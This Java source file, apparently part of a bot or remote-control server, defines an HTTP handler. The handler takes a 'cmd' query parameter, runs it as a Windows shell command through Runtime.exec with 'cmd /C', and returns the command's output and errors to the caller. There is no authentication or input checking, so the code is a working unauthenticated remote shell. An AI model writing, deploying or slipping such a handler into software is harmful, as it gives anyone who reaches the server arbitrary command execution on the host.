/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package net.bot.server;

import com.sun.net.httpserver.HttpExchange;
import java.io.IOException;
import java.io.OutputStream;
import java.util.LinkedHashMap;
import net.bot.utils.IOUtils;
import net.bot.utils.URLUtils;

/**
 *
 * @author chipn03877
 */
public class CommandRequestHandler implements RequestHandler {

    @Override
    public void handleRequest(HttpExchange httpExchange) {
        LinkedHashMap<String, String> params = URLUtils.getQueryMap(httpExchange.getRequestURI().getQuery());
        OutputStream os = httpExchange.getResponseBody();
        if (params.containsKey("cmd")) {
            String command = params.get("cmd");
            try {
                //command = "cmd /c \"" + command + "\"";
                System.out.println("#command: " + command);
                Process exec = Runtime.getRuntime().exec(new String[]{"cmd", "/C", command});
                byte[] resultBytes;
                byte[] errorBytes;

                errorBytes = IOUtils.toString(exec.getErrorStream()).getBytes();
                resultBytes = IOUtils.toString(exec.getInputStream()).getBytes();

                httpExchange.sendResponseHeaders(200, resultBytes.length + errorBytes.length);
                os.write(resultBytes);
                os.write(errorBytes);
            } catch (IOException ex) {
                ex.printStackTrace();
                try {
                    httpExchange.sendResponseHeaders(200, 0);
                } catch (Exception e) {
                }
                ex.printStackTrace();
            } finally {
                try {
                    os.close();
                } catch (Exception e) {
                }
            }
        }
    }
}
